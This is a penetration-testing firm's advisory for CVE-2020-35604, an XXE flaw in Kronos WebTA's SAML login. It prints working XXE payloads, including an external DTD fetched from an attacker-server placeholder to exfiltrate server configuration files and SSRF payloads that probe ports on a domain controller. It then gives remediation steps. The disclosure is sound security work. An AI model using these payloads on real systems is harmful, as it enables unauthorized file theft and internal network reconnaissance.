Protect

WebTA XXE Version 5.0.4 Vulnerability

by Elwood Buck

High-Risk WebTA XXE Version 5.0.4 Vulnerability Discovery Details

More information about a recent security vulnerability found by a team of Pen Testers at MindPoint Group during a customer engagement. We'll walk through the issue descriptions, steps to reproduce the vulnerability, and our recommendations for remediating.

Severity:

Risk: High

Difficulty to Exploit: Easy

Common Vulnerability Exploit (CVE):

CVE-2020-35604

Vendor:

Kronos Web Time and Attendance (WebTA)

Versions Affected:

Kronos WebTA 5.0.4 and possibly earlier versions with SAML enabled.

WebTA XXE Version 5.0.4 Vulnerability Discovered By:

Elwood Buck, Peter Davies, and John Krukar of MindPoint Group

Summary:

XML External Entity (XXE) vulnerability in Kronos WebTA v5.0.4 affecting the SAML login, allows unauthenticated attackers to read confidential data and perform Server Side Request Forgery (SSRF).

WebTA XXE Version 5.0.4 Vulnerability Issue Description:

perspective of the machine where the parser is located, and other system impacts.

Steps to Reproduce:

Testers craft a malicious XML payload:

<?xml version ="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % start "<![CDATA[">

<!ENTITY % middle SYSTEM "file:///D:/app/Apache Software Foundation/Tomcat 9.0/conf/web.xml">

<!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://[attackerserver]:8443/evil.xml">

%dtd;

]>

<root>&all;</root>

The XML payload declares several external entities, the 'start' entity wraps the subsequent file to be called in the 'CDATA' tag so that the XML parser will ignore XML related characters and not interpret them as XML markup.

The 'middle' entity calls the 'web.xml' file on the underlying server in the 'D:/app/Apache Software Foundation/Tomcat 9.0/conf' directory (this directory was disclosed to the testers during the XXE enumeration/discovery phase when submitting a non-existent file).

The 'end' entity closes the 'CDATA' tag. The 'dtd' entity retrieves the 'evil.xml' content hosted on the tester controlled server. At the end of the payload, the 'dtd' entity is called.

The payload above is base64 and URL-encoded:

PD94bWwgdmVyc2lvbiA9IjEuMCIgZW5jb2Rpbmc9IlVURi04IiA/Pgo8IURPQ1RZUEUgcm9vdCBbCjwhRU5USVRZICUgc3RhcnQgIjwhW0NEQVRBWyI%2bCjwhRU5USVRZICUgbWlkZGxlIFNZU1RFTSAiZmlsZTovLy9EOi9hcHAvQXBhY2hlIFNvZnR3YXJlIEZvdW5kYXRpb24vVG9tY2F0IDkuMC9jb25mL3dlYi54bWwiPgo8IUVOVElUWSAlIGVuZCAiXV0%2bIj4KPCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vdmFwdG1lZGljYWwuY29tOjg0NDMvZXZpbC54bWwiPgolZHRkOwpdPgo8cm9vdD4mYWxsOzwvcm9vdD4KCgo%3d

After encoding the payload, it is submitted in the 'SAMLResponse' parameter in the body of the POST request to '/webta/sp'.

After the request is sent, the testers receive an incoming request to their externally facing webserver listening on port 8443 from the victim server. The server retrieves the 'evil.xml' file referenced in the 'dtd' entity.

The contents of the 'evil.xml' file call the 'start,' 'middle,' and 'end' entities referenced in the initial payload sent to the server.

<!ENTITY all "%start;%middle;%end;">

Once the victim server digests the evil.xml file, it responds to the initial request, disclosing the contents of the 'web.xml' file referenced in the initial payload.

Testers use the same technique to retrieve the 'tomcat-users.xml' file.

In addition to local system file disclosure, testers submit a malicious XML payload to perform an SSRF attack to enumerate the open ports on the underlying server and the **domain controller**.

<?xml version ="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % ssrf SYSTEM "http://localhost:4455">

%ssrf;

]>

<root>&all;</root>

After the above payload is base64, URL-encoded, and sent to the server, the application responds with a 'connection refused' error indicating the port is closed.

When testers submit the payload below to check if port 445 is opened, the application responds with 'connection reset' indicating the port is open.

<?xml version ="1.0" encoding="UTF-8" ?>

]>

<root>&all;</root>

Attackers use this technique to discover that port 445 is also open on the **domain controller**.

<?xml version ="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % ssrf SYSTEM "http://domaincontroller.gov:445">

%ssrf;

]>

<root>&all;</root>

Attackers use this technique to discover that port 389 is also open on the **domain controller**.

<?xml version ="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % ssrf SYSTEM "http://domaincontroller.gov:389">

%ssrf;

]>

<root>&all;</root>

Recommendation:

Configure the XML parser to disallow any declared DTD in the XML document.

Depending on the XML processor, change the following settings to false: do not include external entities, do not include parameter entities, do not include external DTDs.

Configure a Web Application Firewall (WAF) to block malicious payloads sent to externally facing websites.

References:

XML External Entity (XXE) Processing >

XML External Entity Prevention Cheat Sheet>

Timeline:

8/5/2020 – Vendor Notified

11/16/2020 – Patch Released

Additional Resources:

Our Pen Testing Services

The vulnerability listed above was an unknown vulnerability, found during one of our pen testing

Join Team MPG

Looking to join our team of cybersecurity experts? Check out our job openings.

Tags: Pentest Vulnerability Management

More from Our Cybersecurity Experts

WebTA SQLi Vulnerability

Protect by Elwood Buck

10 Steps to Successful Privileged Access Management

Protect by Akintola DaSilva

Proactive, Reactive, and Predictive Insider Threat Prevention

Protect by Zeeshawn Rana

Ready to talk all things cybersecurity?

Contact Us

Dynamic Cybersecurity Consulting for Evolving Threats

Solutions
- Government
- Healthcare
- Financial Services
- CISO and CIOs
- DevSecOps
- Penetration Testing
- Security Automation
- View All

Services
- Assess
- Protect
- Respond
- Transform
- Automate
- View All

Products
- Ansible Counselor
- FedRAMP Policy and Procedure Templates
- Lockdown Remediate

Company
- About
- Careers
- Capability Statement
- Blog
- Our Team
- Privacy Statement
- EEO Statement